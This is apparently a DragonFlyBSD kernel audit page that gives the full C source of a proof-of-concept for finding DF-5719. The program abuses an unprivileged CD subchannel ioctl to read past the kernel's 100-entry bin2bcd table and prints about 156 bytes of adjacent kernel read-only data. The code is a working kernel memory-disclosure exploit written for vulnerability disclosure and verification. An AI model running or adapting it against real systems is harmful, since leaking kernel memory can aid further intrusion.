⬢ DragonFlyBSD Kernel Audit
DF-5719 / bcd_trigger.c
← back to finding ↓ download raw
/*
 * bcd_trigger.c -- DF-5719 in-kernel trigger.
 *
 * Unprivileged CDIOCREADSUBCHANNEL sweep: the kernel (sys/bus/cam/scsi/
 * scsi_cd.c:2160-2161) rewrites args->track = bin2bcd(args->track) when the
 * drive has the CD_Q_BCD_TRACKS quirk.  bin2bcd() is the raw table macro
 * bin2bcd_data[bin] (sys/sys/libkern.h:60) and the table has exactly 100
 * entries (sys/libkern/bcd.c:22-33), so track numbers 100..255 read OUT OF
 * BOUNDS past the end of the 100-byte .rodata array, and the _IOWR ioctl
 * copies the byte back to userspace.
 *
 * Sweep track=0..255 and print every byte the kernel returns:
 *   0..99   must equal the real bin2bcd table (verifiable)
 *   100..255 is the 156-byte window of kernel .rodata that follows the
 *           table in the linked kernel -- a one-byte-per-call oracle over
 *           adjacent kernel read-only data.
 *
 * Usage: bcd_trigger [/dev/cdX]
 * Exit 0 = sweep completed, OOB window non-trivial.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/cdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* verbatim reference table from sys/libkern/bcd.c:22-33 (for 0..99) */
static const unsigned char bin2bcd_ref[100] = {
	0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
	0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
	0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29,
	0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
	0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49,
	0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59,
	0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69,
	0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79,
	0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89,
	0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99
};

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/cd1";
	unsigned char leaked[256];
	int fd, t, ok = 0, failed = 0, mismatch = 0;

	fd = open(dev, O_RDONLY | O_NONBLOCK);
	if (fd < 0) {
		printf("open(%s): %s\n", dev, strerror(errno));
		return (2);
	}
	printf("device=%s uid=%d euid=%d\n", dev, getuid(), geteuid());

	for (t = 0; t <= 255; t++) {
		struct cd_sub_channel_info data;
		struct ioc_read_subchannel args;

		memset(&args, 0, sizeof(args));
		memset(&data, 0, sizeof(data));
		args.address_format = CD_MSF_FORMAT;
		args.data_format = CD_CURRENT_POSITION;
		args.track = (u_char)t;
		args.data_len = sizeof(data);
		args.data = &data;

		if (ioctl(fd, CDIOCREADSUBCHANNEL, &args) != 0) {
			failed++;
			if (t < 100 || t == 100 || t == 255)
				printf("track=%3d ioctl: %s\n", t,
				       strerror(errno));
			leaked[t] = 0;
			continue;
		}
		leaked[t] = (u_char)args.track;	/* kernel wrote this back */
		ok++;
		if (t < 100 && leaked[t] != bin2bcd_ref[t]) {
			mismatch++;
			printf("track=%3d IN-BOUNDS MISMATCH got=0x%02x "
			       "want=0x%02x\n", t, leaked[t],
			       bin2bcd_ref[t]);
		}
	}
	printf("ioctl ok=%d failed=%d (in-bounds mismatches=%d)\n\n",
	       ok, failed, mismatch);

	printf("returned bytes by requested track (bcd2bin-style columns):\n");
	printf("  0..99  :");
	for (t = 0; t < 100; t++)
		printf("%s%02x", (t % 10) ? "" : "\n          ", leaked[t]);
	printf("\n\n");

	/* the OOB window: kernel .rodata following bin2bcd_data */
	printf("OOB WINDOW bin2bcd_data[100..255] (156 bytes of adjacent "
	       "kernel .rodata):\n          ");
	for (t = 100; t <= 255; t++)
		printf("%02x%s", leaked[t], (t - 99) % 16 == 0 ? "\n          " : " ");
	printf("\n\nas ASCII: ");
	for (t = 100; t <= 255; t++)
		printf("%c", (leaked[t] >= 0x20 && leaked[t] < 0x7f) ?
		       leaked[t] : '.');
	printf("\n");

	/* success criterion: at least one non-table byte came back OOB */
	{
		int nz = 0;
		for (t = 100; t <= 255; t++)
			if (leaked[t] != 0)
				nz++;
		printf("\nVERDICT: %d non-zero bytes disclosed from beyond "
		       "bin2bcd_data[99]\n", nz);
		if (ok > 0 && nz > 0) {
			printf("RESULT: KERNEL .rodata OOB READ CONFIRMED "
			       "(one byte per ioctl, user-chosen offset)\n");
			return (0);
		}
		printf("RESULT: no OOB bytes returned\n");
		return (1);
	}
}